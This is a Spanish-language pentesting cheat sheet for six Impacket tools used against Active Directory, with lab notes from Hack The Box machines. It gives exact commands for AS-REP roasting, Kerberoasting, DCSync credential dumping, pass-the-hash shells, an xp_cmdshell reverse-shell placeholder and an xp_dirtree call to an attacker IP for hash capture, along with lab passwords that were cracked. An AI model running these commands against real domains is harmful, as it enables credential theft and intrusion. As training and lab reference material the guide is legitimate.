Impacket es una colección de herramientas Python para trabajar con protocolos de red. En la práctica, para pentesting AD, uso como 6 de ellas constantemente. Esta es una referencia para esas 6 — qué hacen, cuándo usarlas, y los comandos exactos que corro.
Viene instalado en Kali por defecto. Cada herramienta tiene el prefijo impacket-.
impacket-GetNPUsers — AS-REP Roasting
Qué hace: Encuentra cuentas con Kerberos pre-authentication deshabilitado y dumpea sus hashes AS-REP. No se necesitan credenciales — solo necesitas una lista de usernames válidos.
Cuándo usarlo: Lo primero que pruebo en cualquier box de AD. Antes de brute-forcing, antes de cualquier otra cosa. Si pre-auth está deshabilitado en una cuenta, obtenés el hash gratis.
Uso Básico
# Con una lista de usernames (sin creds)
impacket-GetNPUsers DOMAIN.local/ -dc-ip $ip -usersfile users.txt -format hashcat -outputfile asrep.txt
# Con creds válidas (enumera todas las cuentas vulnerables automaticamente)
impacket-GetNPUsers DOMAIN.local/user:'password' -dc-ip $ip -request -format hashcat -outputfile asrep.txt
Flags Clave
| Flag | Qué hace |
|---|---|
-usersfile | Lista de usernames a probar (uno por línea) |
-format hashcat | Output en formato hashcat (mode 18200). Usar -format john para john |
-outputfile | Guardar hashes en archivo |
-request | Realmente solicitar el TGT (necesario cuando usas creds) |
-dc-ip | IP del DC target |
Crackear el Hash
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
Cosas a Tener en Cuenta
- La variante sin creds necesita una lista de usernames. Tenés que enumerar usernames primero — SMB null session, LDAP, kerbrute, lo que sea.
- La variante con creds encuentra todas las cuentas vulnerables automáticamente. No necesitas lista de usernames.
- Al guardar hashes con
echo, usar comillas simples. Las comillas dobles corrompen los caracteres$en el hash. Perdí tiempo debuggeando esto en Forest.
Dónde Lo Usé
- Forest — AS-REP Roasting a
svc-alfrescosin creds. Obtuve el hash, lo crackeé as3rvice. Eso fue todo el foothold. - Blackfield — Lo mismo. Coseché ~300 usernames del share SMB
profiles$, se los di a GetNPUsers, obtuve el hash de la cuentasupport.
impacket-GetUserSPNs — Kerberoasting
Qué hace: Encuentra cuentas con SPNs (Service Principal Names) seteados y solicita sus TGS tickets. El ticket está encriptado con el hash de la password de la cuenta — crackeás el ticket, crackeás la password.
Cuándo usarlo: Una vez que tengas cualquier credencial válida de dominio. Cualquier usuario autenticado puede hacer Kerberoast. Esto siempre vale la pena correrlo.
Uso Básico
# Solo enumerar SPNs
impacket-GetUserSPNs DOMAIN.local/user:'password' -dc-ip $ip
# Enumerar Y solicitar tickets
impacket-GetUserSPNs DOMAIN.local/user:'password' -dc-ip $ip -request -outputfile kerberoast.txt
Flags Clave
| Flag | Qué hace |
|---|---|
-request | Realmente solicitar los TGS tickets (sin esto, solo lista SPNs) |
-outputfile | Guardar hashes en archivo |
-dc-ip | IP del DC target |
Crackear el Hash
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
# o
john kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txt
Cosas a Tener en Cuenta
- Necesitas creds válidas primero. A diferencia de AS-REP Roasting, Kerberoasting requiere autenticación.
- Machine accounts y managed service accounts generalmente tienen passwords aleatorias de 128 caracteres. Enfocarse en user accounts con SPNs — esas son las que tienen passwords crackeables.
-requestes fácil de olvidar. Sin él solo obtenés una lista de SPNs, no los hashes reales.
Dónde Lo Usé
- Active — Después de obtener creds de SVC_TGS de GPP, hice Kerberoast a la cuenta Administrator. SPN era
active/CIFS:445. Crackeó aTicketmaster1968. Game over.
impacket-secretsdump — DCSync, SAM, NTDS.dit
Qué hace: Dumpea credenciales. Esta herramienta hace múltiples cosas dependiendo de lo que le des:
- Remote DCSync — simula un request de replicación de domain controller para sacar todos los hashes del dominio
- Local SAM dump — extrae hashes de los registry hives SAM + SYSTEM
- Local NTDS.dit dump — extrae hashes del archivo de base de datos de AD
Remote DCSync
# Con password
impacket-secretsdump DOMAIN.local/user:'password'@$ip
# Con hash NTLM (pass-the-hash)
impacket-secretsdump DOMAIN.local/user@$ip -hashes :NTLM_HASH
Requiere derechos DCSync — es decir Replicating Directory Changes + Replicating Directory Changes All. Los Domain Admins tienen esto por defecto. En Forest, le otorgué estos derechos a svc-alfresco vía WriteDACL abuse antes de correr secretsdump.
Local NTDS.dit Dump
impacket-secretsdump -ntds ntds.dit -system system LOCAL
Cuando ya agarraste los archivos NTDS.dit y SYSTEM hive (via VSS snapshot, robocopy, lo que sea), esto los parsea offline. No se necesita conexión de red.
Flags Clave
| Flag | Qué hace |
|---|---|
-ntds | Ruta al archivo NTDS.dit |
-system | Ruta al registry hive SYSTEM |
-hashes | Autenticación pass-the-hash (formato :NTLM_HASH — LM hash vacío) |
-just-dc-ntlm | Solo dumpear hashes NTLM (más rápido, menos ruidoso) |
-just-dc-user USER | Solo dumpear un usuario específico |
LOCAL | Parsear archivos locales en vez de conectar remotamente |
Cosas a Tener en Cuenta
- Remote DCSync es ruidoso. Genera eventos específicos de Windows (4662 con GUIDs de replicación). En un engagement real, SOC analysts (como yo antes) flaggearían esto. Usar
-just-dc-ntlmo-just-dc-userpara minimizar el ruido. - El formato de hash en la salida es
LM:NTLM. Para pass-the-hash solo necesitas la parte NTLM (después de los dos puntos). - Para parseo local, necesitás ambos NTDS.dit y SYSTEM. SYSTEM contiene la boot key necesaria para descifrar los hashes.
Dónde Lo Usé
- Forest — Remote DCSync después de otorgar a svc-alfresco derechos DCSync vía WriteDACL.
impacket-secretsdump htb.local/svc-alfresco:'s3rvice'@$ipsacó el hash NTLM de Administrator. - Blackfield — Local NTDS.dit dump. Agarré ntds.dit + SYSTEM via VSS snapshot y robocopy /b, después
impacket-secretsdump -ntds ntds.dit -system system LOCAL. Obtuve cada hash del dominio.
impacket-psexec — Shell con Creds
Qué hace: Te da una shell SYSTEM en un Windows box remoto usando credenciales válidas. Funciona sobre SMB (puerto 445). Sube un binario de servicio, crea un servicio Windows, lo inicia, te da una shell, y limpia al salir.
Uso Básico
# Con password
impacket-psexec DOMAIN.local/Administrator:'password'@$ip
# Con hash NTLM
impacket-psexec DOMAIN.local/Administrator@$ip -hashes :NTLM_HASH
Flags Clave
| Flag | Qué hace |
|---|---|
-hashes | Pass-the-hash (formato :NTLM_HASH) |
-target-ip | Útil cuando la resolución de hostname es rara |
Cosas a Tener en Cuenta
- Requiere creds nivel admin y acceso de escritura a shares
ADMIN$oC$. Creds de usuario regular de dominio no funcionan. - Crea un servicio Windows — esto es detectable. AV/EDR pueden flaggearlo. Para OSCP, no importa. Para engagements reales, considerar alternativas como
evil-winrm(WinRM, puerto 5985) oimpacket-wmiexec. - La shell te deja como NT AUTHORITY\SYSTEM, no como el usuario con el que te autenticaste.
- Si se cuelga o falla, el servicio puede no haber sido limpiado. Los intentos siguientes pueden fallar hasta que el servicio sea removido.
Alternativas
| Herramienta | Protocolo | Sigilo | Notas |
|---|---|---|---|
impacket-psexec | SMB (445) | Bajo | Crea un servicio, shell SYSTEM |
impacket-wmiexec | WMI (135) | Medio | Sin creación de servicio, corre como el usuario |
impacket-smbexec | SMB (445) | Medio | Usa un servicio pero diferente |
evil-winrm | WinRM (5985) | Mayor | PowerShell, necesita WinRM habilitado |
Dónde Lo Usé
- Active —
impacket-psexec active.htb/Administrator:'Ticketmaster1968'@$ippara la shell final después del Kerberoasting.
impacket-mssqlclient — Acceso MSSQL
Qué hace: Cliente MSSQL interactivo. Conectarse a Microsoft SQL Server, correr queries, habilitar y usar xp_cmdshell para ejecución de comandos del OS.
Uso Básico
# Autenticación Windows
impacket-mssqlclient user:'password'@$ip -windows-auth
# Autenticación SQL (default)
impacket-mssqlclient user:'password'@$ip
Comandos Built-in
Una vez conectado, estos son los comandos clave:
-- Revisar si sos sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Habilitar xp_cmdshell (solo sysadmin)
enable_xp_cmdshell
-- Correr comandos del OS
xp_cmdshell 'whoami'
-- Reverse shell
xp_cmdshell 'powershell -e <BASE64_PAYLOAD>'
-- Robar hash NTLMv2 (funciona incluso sin sysadmin)
xp_dirtree '\\YOUR_IP\share'
Flags Clave
| Flag | Qué hace |
|---|---|
-windows-auth | Usar autenticación Windows/dominio en vez de SQL auth |
-port | Puerto custom si MSSQL no está en 1433 |
Cosas a Tener en Cuenta
-windows-authimporta. SQL auth y Windows auth son diferentes. Si uno falla, probá el otro. En Querier, la conexión fallo sin-windows-auth.- Passwords con
$necesitan comillas simples en bash.'PcwTWTHRwryjc$c6'funciona."PcwTWTHRwryjc$c6"no — bash interpreta$c6como variable y corrompe la password. enable_xp_cmdshellrequiere rol sysadmin. Si tu usuario no es sysadmin, el comando falla silenciosamente o da error. Usarxp_dirtree+ Responder para robar el hash NTLMv2 de la service account en cambio.- xp_dirtree + Responder es el fallback cuando xp_cmdshell está denegado. El SQL server hace una conexión SMB a tu máquina y Responder captura el hash. Hashcat mode 5600 para NTLMv2.
Dónde Lo Usé
- Querier — Me conecté con creds de macro VBA usando
-windows-auth. El usuario reporting no podía correr xp_cmdshell, así que usé xp_dirtree + Responder para robar el hash NTLMv2 de la service account. Lo crackeé, me reconecté como sysadmin, habilité xp_cmdshell, obtuve shell.
impacket-smbclient — Acceso a Archivos SMB
Qué hace: Cliente SMB interactivo para navegar y descargar archivos de shares. Similar a smbclient de Samba pero usa el stack de autenticación de Impacket.
Uso Básico
# Con password
impacket-smbclient DOMAIN.local/user:'password'@$ip
# Con hash NTLM
impacket-smbclient DOMAIN.local/user@$ip -hashes :NTLM_HASH
# Null session
impacket-smbclient DOMAIN.local/''@$ip -no-pass
Comandos Clave
shares # Listar shares disponibles
use SHARE_NAME # Conectarse a un share
ls # Listar archivos
get file.txt # Descargar un archivo
cd directory # Cambiar directorio
Cosas a Tener en Cuenta
- Generalmente uso
smbclient(el de Samba) onxc smb --sharespara enumeración inicial. El smbclient de Impacket es útil cuando necesito la autenticación de Impacket (pass-the-hash, Kerberos tickets). - Para descargas de archivos grandes,
smbclientde Samba es más confiable. La versión de Impacket se puede trabar con archivos grandes.
Referencia Rápida — Cuándo Usar Qué
| Situación | Herramienta | Necesita Creds? |
|---|---|---|
| Revisar usuarios AS-REP Roasteables | impacket-GetNPUsers | No (con lista de usuarios) |
| Revisar usuarios Kerberoasteables | impacket-GetUserSPNs | Si |
| Dumpear todos los hashes del dominio (DCSync) | impacket-secretsdump | Si (derechos DCSync) |
| Parsear NTDS.dit offline | impacket-secretsdump -ntds ... LOCAL | No |
| Obtener shell SYSTEM | impacket-psexec | Si (admin) |
| Conectarse a MSSQL | impacket-mssqlclient | Si |
| Navegar shares SMB | impacket-smbclient | Depende |
Mi Orden de Recon AD
Este es aproximadamente el orden en que corro estas herramientas en una box de AD:
- GetNPUsers — AS-REP Roast primero. Sin creds. Hashes gratis si algo es vulnerable.
- GetUserSPNs — Kerberoast una vez que tengo cualquier cred válida.
- secretsdump — DCSync si consigo Domain Admin o derechos DCSync.
- psexec — Shell final con el hash o password de admin.
Todo lo demás (mssqlclient, smbclient) se usa cuando la box lo requiere.
El patrón a través de cada box de AD que he hecho: enumerar usuarios → AS-REP Roast → conseguir primeras creds → BloodHound → encontrar la ruta → caminar la ruta → secretsdump → psexec → listo.